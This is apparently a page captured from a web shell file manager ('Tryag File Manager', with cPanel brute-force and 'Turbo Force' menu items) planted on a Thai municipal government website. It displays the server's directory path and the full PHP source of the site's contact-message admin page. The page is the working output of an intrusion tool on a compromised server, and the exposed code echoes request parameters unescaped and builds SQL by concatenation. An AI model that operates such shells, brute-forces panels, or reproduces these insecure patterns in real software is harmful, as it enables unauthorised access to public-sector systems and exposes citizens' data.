Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nayongnua
/
domains
/
nayongnua.go.th
/
public_html
/
contacts
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nayongnua/domains/nayongnua.go.th/public_html/contacts/admin.php
<? session_start(); Header("Content-Type: text/html; charset=UTF-8"); if($_SESSION[user]=="") { session_destroy(); $message = "กรุณา Login ก่อน."; $url = "../admin/index.php"; include("../admin/alert.php"); exit; } include("../include/config.php"); include("../include/function.php"); include("../include/config_db.php"); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" /> </head> <body background="../images/tem_b1.jpg" style="background-repeat:no-repeat; background-position:top" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <div align="center" valign="top"> <table width="980" border="0" cellpadding="0" cellspacing="0" valign="top"> <tr> <td valign="top"> <div align="center"> <table width="980" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top"><div align="center"> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="980" height="650"> <param name="movie" value="../images/head.swf" /> <param name="quality" value="high" /> <embed src="../images/head.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="650"></embed> </object> </div></td> </tr> </table> </div> </td> </tr> <tr> <td valign="top"> <div align="center"> <table width="90%" border="0" cellspacing="0" cellpadding="0" align="center"> <tr><td height="50" valign="top"> <a name="top_page"></a></td> </tr> <tr> <td><div align="center"><img src="../images/11.png" width="600" height="53" /></div></td> </tr> <tr> <td><div align="right"><a href="../admin/main.php">หน้า Admin </a> | <a href="../admin/signout.php">ออกจากระบบ </a></div></td> </tr> </table> </div> </td> </tr> </table> </div> <div id="main"> <div align="center"><? echo "<font size='3'>^o^<b> หน้าหลัก </b>^o^</font>"; ?><a name="top_page"></a></div> <div style="position: relative; left: 5px; top: 10px; width: 955px; border: 1px solid #e5e5e5;" class="magnifyarea"> <table border="0" cellpadding="1" cellspacing="0" align="center" width="100%"> <tr> <td valign="top"> <? $sh_order = $_GET["sh_order"]; if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;} if($sh_order==1){$sh_order=0;}else{$sh_order=1;} ?> <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0" > <tr bgcolor="#a3afb9"> <td width="10%"> </td> <td width="5%" align="center"><a href="admin.php?sd=1&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ID</a> </td> <td width="15%"><font class="linktextblack">หมวดหมู่</font></a> </td> <td width="20%"><a href="add_albums.php?sd=2&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">เรื่อง</a> </td> <td width="15%"><a href="admin.php?sd=3&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ชื่อ</a> </td> <td width="15%"><a href="admin.php?sd=4&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">อีเมล์</a> </td> <!-- <td width="10%" align="center"><a href="admin.php?sd=5&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">โทรศัพท์</a> </td> --> <td width="10%" align="center"><a href="admin.php?sd=6&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">วันที่ถาม</a> </td> <!--<td width="5%" align="center"><a href="admin.php?sd=7&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ตอบแล้ว</a> </td>--> <td width="10%" align="center"><a href="admin.php?sd=8&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">วันที่ตอบ</a> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <table width="100%" border="0" align="center" cellspacing="0" cellpadding="0" > <? $sql = "select * From `contact_admin_detail` where 1 "; $sd = trim($_GET["sd"]); switch ($sd) { case '1': $sql .= "Order by `id` "; break; case '2': $sql .= "Order by `con_title` "; break; case '3': $sql .= "Order by `con_name` "; break; case '4': $sql .= "Order by `con_email` "; break; case '5': $sql .= "Order by `con_phone` "; break; case '6': $sql .= "Order by `con_date` "; break; case '7': $sql .= "Order by `con_send` "; break; case '8': $sql .= "Order by `con_send_date` "; break; default : $sql .= "Order by `con_id` "; } if($sh_order==1){$sql .= "DESC ";}else {$sql .= "ASC ";} $item = 0; $Per_Page = 10; if(!$_GET['Page']) { $Page=1; }else { $Page = $_GET['Page']; } $Prev_Page = $Page-1; $Next_Page = $Page+1; $Page_start = ($Per_Page*$Page)-$Per_Page; $sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `contact_admin_detail` where 1 "; $dbquery = mysql_query($sql_2); $Num_Rows = mysql_num_rows($dbquery); if($Num_Rows>0){ $Num_Rows = mysql_result($dbquery, 0,"num_rows_2"); } mysql_free_result($dbquery); unset($dbquery); if($Num_Rows<=$Per_Page) $Num_Pages =1; else if(($Num_Rows % $Per_Page)==0) $Num_Pages =($Num_Rows/$Per_Page) ; else $Num_Pages =($Num_Rows/$Per_Page) +1; $Num_Pages = (int)$Num_Pages; if(($Page>$Num_Pages) || ($Page<0)) print "<center><b>ยังไม่มีข้อมูล<b></center>"; $sql .= "LIMIT $Page_start , $Per_Page"; //ส่วนแสดงผล $result = mysql_query($sql); $item = ($Page-1) * $Per_Page; While($row= mysql_fetch_assoc($result)){ $item = $item + 1; $c_id = $row["id"]; $c_con_id = $row["con_id"]; $c_con_name = $row["con_name"]; $c_con_email = $row["con_email"]; $c_con_phone = $row["con_phone"]; $c_con_title = $row["con_title"]; $c_con_date = $row["con_date"]; $c_con_send = $row["con_send"]; $c_con_send_date = $row["con_send_date"]; if(substr($c_con_send_date,0,2)=="00") { $c_con_send_date = ""; } $c_con_send_answer = "NO"; if($c_con_send>0) { $c_con_send_answer = "<font color='#ff0000'>YES</font>"; } $c_con_category = ""; $sql_m = "select * from `contact_admin` where (`id`='$c_con_id') "; $result_m = mysql_query($sql_m); $num_rows_m = mysql_num_rows($result_m); if($num_rows_m>0){ $c_con_category = mysql_result($result_m, 0,"con_category"); } mysql_free_result($result_m); unset($result_m); $bcolor = "#ffffff"; if(($item %2)==0){ $bcolor = "#e5e5e5"; } if(!empty($c_con_send_date)) { $bcolor = "#99ccff"; } $code_1 = $c_con_title." : ".$c_con_name; ?> <tr><td height="10" colspan="9"></td></tr> <tr bgcolor="<?=$bcolor;?>"> <td width="5%"align="center"> <? echo "<a href='del_data.php?c_id=$c_id&chk_p=1&c_thumb=$c_thumb&code_id=$scon_id&code_1=$code_1#toppage'>ลบ</a>"; ?> </td> <td width="5%" align="center"> <? echo "<a href='view.php?c_id=$c_id#toppage' title='ดูข้อมูล'>ดูข้อมูล</a>";?> </td> <td width="5%" align="center"> <?= $c_id;?> </td> <td width="15%"> <?= $c_con_category;?> </td> <td width="20%"> <? echo "<a href='view.php?c_id=$c_id#toppage' title='".$c_con_title."'>".$c_con_title."</a>";?> </td> <td width="15%"> <?= $c_con_name;?> </td> <td width="15%"> <?= $c_con_email;?> </td> <!-- <td width="10%"> <?//= $c_con_phone;?> </td> --> <td width="10%" align="center"> <?= $c_con_date;?> </td> <!-- <td width="5%" align="center"> <?//= $c_con_send_answer;?> </td> --> <td width="10%" align="center"> <?= $c_con_send_date;?> </td> </tr> <?}?> </table> <hr align="center" width="100%" noshade size="1"> <div align="center"><br><font size="2"> จำนวนรายการ : <?= $Num_Rows;?>  ,หน้าทั้งหมด : <b> <?=$Num_Pages;?> </b> ,หน้า : <? $PHP_SELF = $_SERVER['PHP_SELF']; if($Prev_Page) echo " <a href='$PHP_SELF?Page=$Prev_Page&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'><<ย้อนกลับ</a> "; $Show_Page = 10; $s1 = $Page - $Show_Page; if($s1 <= 0 ){$s1 = 1;} $s2 = $Page + $Show_Page; if($s2 > $Num_Pages){$s2 = $Num_Pages;} if($s1 == 1 ){ $s2 = $Show_Page+10; if($s2 > $Num_Pages){$s2 = $Num_Pages;} } if(($s2 == $Num_Pages) &&($s1 != 1)){ $s1 = $Num_Pages-20; if($s1 <= 0 ){$s1 = 1;} } for($i=$s1; $i<=$s2; $i++) { if($i != $Page) { echo "[<a href='$PHP_SELF?Page=$i&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$i</a>]"; } else { echo "<b> $i </b>"; } } if($Num_Pages>($i-1)) { if($Num_Pages>($i+1)) { $bNum_Pages = $Num_Pages - 1; echo "...[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$bNum_Pages</a>]"; }else if($Num_Pages==($i+1)) { $bNum_Pages = $i; echo "[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$bNum_Pages</a>]"; } echo "[<a href ='$PHP_SELF?Page=$Num_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$Num_Pages</a>]"; } if($Page!=$Num_Pages) echo " <a href ='$PHP_SELF?Page=$Next_Page&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>ถัดไป>></a> "; mysql_free_result($result); unset($result); unset($dbquery); include("../include/close_db.php"); ?> </font></div> </td> </tr> </table> </div> </div> </body> </html>